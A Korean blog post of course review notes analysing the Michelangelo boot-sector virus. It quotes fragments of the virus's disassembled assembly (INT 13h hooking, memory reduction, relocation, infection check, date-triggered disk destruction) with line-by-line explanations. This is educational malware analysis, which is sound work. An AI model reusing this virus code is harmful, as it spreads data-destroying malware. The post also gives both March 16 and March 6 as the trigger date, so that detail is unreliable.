훈훈훈

부트 바이러스 : 미켈란젤로 바이러스 정적 분석 본문

정보보안/악성코드

부트 바이러스 : 미켈란젤로 바이러스 정적 분석

훈훈훈 2018. 11. 9. 23:56

이번 자료는 K-shieldjr 분석대응 과정에서 악성코드 분석파트를 맡아주신 누리랩 최원혁 대표님께 동의를 받고 

강의 내용 중 복습을 위해 정리한 내용입니다. 


1. 분석 대상

: 미켈란젤로 바이러스


 * 특징 

  1) 플로피 및 하드디스크 MBR 감염

  2) 주메모리를 2KB 축소

  3) INT13h 후킹 ( INT13h : 하드웨어 관련 인터럽트 )

  4) 3월 16일 되면 하드디스크 파괴 


2. 분석 목표

: 부트 바이러스의 시초라고 할 수 있는 미켈란젤로 바이러스 분석을 통해 부트 바이러스의 동작 패턴을 파악한다.


3. 분석 과정

 1) 악성코드 진입


michelangelo    segment byte public

                  assume  cs:michelangelo, ds:michelangelo

; Disassembly by Dark Angel of PHALCON/SKISM

                        org     0


                        jmp     entervirus

highmemjmp         db      0F5h, 00h, 80h, 9Fh

maxhead               db      2

firstsector              dw      3

oldint13h              dd       0C8000256h DI

<분석 과정 - 1>

바이러스 코드의 첫 시작 부분이다. 간단히 살펴보면

-  org   0 :  악성코드 코딩 0번지를 기준으로 한다.

-  jmp   entervirus : JMP 해서 "entervirus" 부터 실행한다. 


 2) entervirus 레이블


entervirus:

xor       ax,ax

mov     ds,ax

cli

mov     ss,ax

mov     ax,7C00h   ; Set stack to just below

mov     sp,ax        ; virus load point

sti

<분석 과정 - 2>

이 레이블에서 악성코드가 시작된다. 위 코드를 간단히 살펴보면

-  xor    ax,ax : ax = 0으로 초기화

-  mov   ds, ax : ds =0 으로 초기화

-  cli : 위 레이블 실행도중 JMP 방지 (INT 호출 방지)

-  stl : INT 호출 가능

 -> 대부분의 MBR 바이러스 코드는 이러한 형태를 가지고 있다.


3) 정상 INT13h 백업 


push    ds                      ; save 0:7C00h on stack for

push    ax                      ; later retf

mov     ax,ds:[13h*4]

mov     word ptr ds:[7C00h+offset oldint13h],ax

mov     ax,ds:[13h*4+2]

mov     word ptr ds:[7C00h+offset oldint13h+2],ax

<분석 과정 - 3>

위 코드는 INT13h을 후킹하기 이전에 백업하는 과정을 진행하는 동작을한다.

이제 간단히 코드를 살펴보자

-  push    ds, push ax : 스택에 집어넣어 나중에 리턴할 주소를 저장한다.

-  mov    ax, ds:[13h*4] : INT13에 있는 정보를 ax에 저장

-  mov    ax, ds:[13h*4+2] : INT13에 있는 정보를 ax에 저장 (offset + segment)


4) 주 메모리 크기 변경 (640KB -> 638KB)


mov     ax,ds:[413h]            ; memory size in K

dec     ax                         ; 1024 K

dec     ax

mov     ds:[413h],ax            ; move new value in

<분석 과정 - 4>

413h 주소에는 주 메모리 크기가 저장되어있다.

따라서 이 바이러스는 해당 주소에 있는 값을 dec 명령을 통해 감소시킨다.

원래 저장되어있던 640KB는 이 과정을 거쳐 638KB가 된다.


 5) 638KB의 메모리 주소 저장


mov     cl,6

shl       ax,cl                      ; ax = paragraphs of memory

mov     es,ax                     ; next line sets seg of jmp

mov     word ptr ds:[7C00h+2+offset highmemjmp],ax


     jmp     entervirus

highmemjmp     db      0F5h, 00h, 80h, 9Fh

<분석 과정 - 5>

시프트 연산을 6만큼 수행하고 변환된 값을 최상단 메모리 주소(highmemjmp)에 저장한다.

이제 간단히 코드를 살펴보자.

-  mov   cl,6 : 시프트연산을 6만큼 수행하기 위해 cl에 6을 초기화한다.

-  shl     ax,cl : ax를 6만큼 시프트 연산을 수행한다. 

-  mov   word ptr ds:[7200h+2+offset highmemjmp], ax : 최상단 메모리에 값을 저장한다.


6) 새로운 INT13h으로 인터럽트 벡터 테이블 수정


mov     ax,offset int13h

mov     ds:[13h*4],ax

mov     ds:[13h*4+2],es

<분석 과정 - 6>

이전에 INT13h이 후킹되었다는 가정하에 이 동작이 수행될 것이다.

간단히 코드를 살펴보자.

-  mov   ax,offset int 13h : 후킹된 INT13h의 offset을 ax에 초기화

-  mov   ds:[13h*4], ax : 인터럽트 벡터 테이블에 오프셋 저장 (INT 13h 위치)

-  mov   ds:[13h*4+2], es  : 인터럽트 벡터 테이블에 세그먼트 저장 (INT 13h 위치)


7) 0000:7C00 이미지 주메모리에 복사 (파티션 정보 이전까지 복사)


mov     cx,offset partitioninfo

mov     si,7C00h

xor     di,di

cld

rep     movsb                ; copy to high memory

  ; and transfer control there

jmp     dword ptr cs:[7C00h+offset highmemjmp]

<분석 과정 - 7>

파티션인포의 오프셋을 변수에 저장한 다음 주소를 복사한다. 그 다음 복사된 주소로 점프한다.

이제 코드를 살펴보자.

-  mov   cx, offset partitioninfo  :  파티션인포의 오프셋을 저장

-  rep    movsb  :  바이트 단위로 복사 ( 0000:7C00 -> 9F80:0000 )

-  jmp   dword ptr cs:[7C00+offset highmemjmp]  :  복사된 곳으로 점프  

 

복사된 곳으로 점프하는 순간 CS 값은 0000 -> 9F80 으로 변경 


; destination of highmem jmp

xor     ax,ax

mov     es,ax

int     13h                     ; reset disk

<분석 과정 - 7>

xor 연산을 통해 ax를 0으로 초기화하고 INT13h 호출한다.


 8) 하드디스크 감염 여부 확인


push    cs

pop     ds

mov     ax,201h

mov     bx,7C00h

mov     cx,firstsector

cmp     cx,7                  ; hard disk infection?

jne       floppyboot        ; if not, do floppies

mov     dx,80h              ; Read old partition table of

int       13h                  ; first hard disk to 0:7C00h

<분석 과정 - 8>

감염된 디스크가 하드디스크라고 가정하자.

위 코드는 하드디스크가 감염되면 INT13.2 ( Read Disk Sectors)를 호출한다.

이제 코드를 살펴보자.

-  push  cs, pup  ds  :  cs와 ds 가 동일

-  mov   ax, 201h  :  INT13.2를 호출하기 위해 ax에 201h 초기화

-  jne     floppyboot  :  만약 하드디스크가 아니면 플로피디스크이므로 floppyboot 레이블로 점프한다.

-  int     13h  :  INT 13.2 호출


9) 특정 시점에 하드디스크 파괴


jmp        short exitvirus

exitvirus:

xor         cx,cx                 ; Real time clock get date

mov        ah,4                 ; dx = mon/day

int         1Ah

cmp       dx,306h              ; March 6th

je          damagestuff

retf                                ; return control to original

                                    ; boot block @ 0:7C00h

<분석 과정 - 9>

악성코드 종료시점에 현재 날짜를 확인하여 3월 6일이면 디스크를 파괴한다.





'정보보안 > 악성코드' 카테고리의 다른 글

Mini-100 바이러스 분석  (0) 2018.10.30
자바스크립트(JavaScript) 난독화 개념 & 실습  (0) 2018.10.26
Keylogger 기초 분석  (0) 2018.10.08
Comments